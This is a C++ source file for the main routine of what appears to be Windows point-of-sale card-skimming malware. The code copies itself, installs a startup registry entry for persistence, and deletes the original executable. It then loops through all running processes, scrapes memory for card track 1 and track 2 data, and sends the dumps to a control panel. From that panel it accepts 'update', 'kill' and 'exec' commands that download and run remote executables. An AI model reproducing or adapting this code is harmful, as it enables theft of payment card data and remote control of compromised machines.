// sop.cpp : Defines the entry point for the console application.
//


#include "stdafx.h"
#include "http.h"
#include "ram_scrap.h"
#include "reg.h"
#include "util.h"
#include <shlwapi.h>
#include "constants.h"

int APIENTRY wWinMain (HINSTANCE hInstance,
					   HINSTANCE hPrevInstance,
					   LPWSTR lpCmdLine,
					   int       nCmdShow)
{	
	try
	{
		initialize();
		if(!IsRegisteredToStartup(autorun_reg_value_name.c_str()))
		{	
			std::wstring free_path = get_free_exe_path();
			std::wstring curr_path = get_curr_exe_path();
			CopyFileW (curr_path.c_str(), free_path.c_str(), FALSE);

			RegisterToStartup(L"\""+free_path+L"\"");
			ExecuteFile(free_path, get_curr_exe_path());
			return 0;
		}
		std::wstring arg = lpCmdLine;
		if(arg.length()!=0)
		{
			try{
				Sleep(5000);
				DeleteFileW(arg.c_str());
			}catch(...)
			{
			}
		}
		Secure();				
		std::vector<std::string> track_11;
		std::vector<std::string> track_21;
		std::string cmd1;
		ReportDumps(track_11, track_21, cmd1);

		MonitorStartKey();
		Sleep(2000);
		RemovePreviousVersions();
		while(true)
		{
			try{
				std::vector<Process> processes = GetProcessList( );
				std::vector<std::string> track_1;
				std::vector<std::string> track_2;
				for(int i=0; i<processes.size(); i++)
				{
					GetCcFromProc(processes[i].pid, track_1, track_2);
					Sleep(3000);
				}

				std::string cmd;
				ReportDumps(track_1, track_2, cmd);
				if(cmd=="")
					continue;
				std::vector<std::string> cmd_splitted = Split(cmd, ' ');
				if(cmd=="update")
				{
					std::wstring free_path = get_free_exe_path();
					std::wstring curr_path = get_curr_exe_path();
					std::string good_panel;
					if(GetGoodPanel(good_panel))
					{
						if(DownloadFile("http://"+good_panel+"/post/download", free_path))
						{
							RegisterToStartup(L"\""+free_path+L"\"");
							return 0;
						}
					}
				}
				if(cmd=="kill")
				{
					stop_persistence = true;
					Sleep(2000);
					DeleteValueKey(HKEY_CURRENT_USER, autorun_reg_key_name, autorun_reg_value_name);
					std::wstring w_vir_pid;
					GetStringRegKey(persistence_reg_key, L"Pid1", w_vir_pid, L"bad");
					if(w_vir_pid!=L"bad")
					{
						std::string s_vir_pid( w_vir_pid.begin(), w_vir_pid.end() );
						int vir_pid = atoi(s_vir_pid.c_str());
						TerminateProcess(vir_pid, 0);
					}
					DeleteValueKey(HKEY_CURRENT_USER, persistence_reg_key.c_str(), L"Pid1");
					DeleteValueKey(HKEY_CURRENT_USER, persistence_reg_key.c_str(), L"Pid");
					return 0;
				}
				if(cmd_splitted[0]=="exec")
				{
					std::vector<std::string> spl_exe_link = Split(cmd_splitted[1], '/');
					std::wstring save_to = GetTempDir()+StringToWString(spl_exe_link[spl_exe_link.size()-1]);
					if(DownloadFile(cmd_splitted[1], save_to))
					{
						ExecuteFile(save_to, L"");
					}
				}
			} catch (...) {
				//MessageBox(NULL, charToWChar(e.what()), L"Msg", MB_OK) ;
			}
		}		
	}catch (...)
	{
	}
	return 0;
}